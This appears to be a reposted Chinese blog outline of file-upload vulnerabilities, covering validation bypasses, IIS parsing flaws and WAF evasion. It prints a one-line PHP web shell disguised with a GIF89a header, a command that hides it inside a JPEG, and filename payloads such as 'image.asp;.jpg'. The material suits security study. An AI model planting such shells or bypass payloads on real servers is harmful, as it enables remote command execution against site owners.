当前位置:网站首页>浅谈网络安全之文件上传
浅谈网络安全之文件上传
2022-07-06 15:35:00 【InfoQ】
概述
漏洞成因及危害
1.本地验证(前端验证)
2.后端验证及绕过
2.1 后缀名


3.文件类型验证
3.1 文件头检测:文件头内容信息(如gif89a)
JPEG 0xFFD8FF
PNG0 x89504E470D0A1A0A
GIF 47 49 4638 39 61(GIF89a)
GIF89a
<?php echo`$_REQUEST[cmd]`;
?>
cmd命令: copy 1.jpg/b+a.txt test.php
3.2 Content-Type检测
4. 内容及其他
4.1 逻辑安全:条件竞争(相当于系统占用)
4.2 目录命名
5.其他漏洞
脚本函数漏洞-cve
CVE-2017-12615
CVE-2015-5254
CVE-2019-2618
6.中间件解析漏洞
6.1 IIS 6.0+解析漏洞
image/aa.jpg
image.asp/aa.jpg aa.jpg
image.asp;.jpg或xxx.asp;xxx.jpg
7.WAF绕过
7.1 数据溢出(垃圾数据填充)
7.2 符号变异('";)
x.jpg;.php
7.3数据截断(%00;换行)
x.\np\nh\np
7.4 重复数据
8.防御
边栏推荐
- [step on pit collection] attempting to deserialize object on CUDA device+buff/cache occupy too much +pad_ sequence
- Export MySQL table data in pure mode
- Jafka source analysis processor
- 2022-07-05 use TPCC to conduct sub query test on stonedb
- QT信号和槽
- QT signal and slot
- MySQL教程的天花板,收藏好,慢慢看
- Volatile keyword
- hdu 5077 NAND(暴力打表)
- Should novice programmers memorize code?
猜你喜欢
Matlab tips (27) grey prediction
MySQL----初识MySQL
UE4 blueprint learning chapter (IV) -- process control forloop and whileloop
[compilation principle] LR (0) analyzer half done
Leetcode: interview question 17.24 Maximum cumulative sum of submatrix (to be studied)
Custom swap function
专为决策树打造,新加坡国立大学&清华大学联合提出快速安全的联邦学习新系统
视图(view)
云原生技术--- 容器知识点
案例推荐丨安擎携手伙伴,保障“智慧法院”更加高效
随机推荐
Traversal of a tree in first order, middle order, and then order
Gd32f4xx serial port receive interrupt and idle interrupt configuration
Comparison between variable and "zero value"
Puppeteer连接已有Chrome浏览器
MySQL约束的分类、作用及用法
const关键字
AdaViT——自适应选择计算结构的动态网络
CocosCreator+TypeScripts自己写一个对象池
ICLR 2022 | pre training language model based on anti self attention mechanism
Clip +json parsing converts the sound in the video into text
如何实现文字动画效果
POJ 1258 Agri-Net
MySQL authentication bypass vulnerability (cve-2012-2122)
View
MySQL教程的天花板,收藏好,慢慢看
ACL 2022 | small sample ner of sequence annotation: dual tower Bert model integrating tag semantics
MySQL----初识MySQL
three.js绚烂的气泡效果
Jafka来源分析——Processor
volatile关键字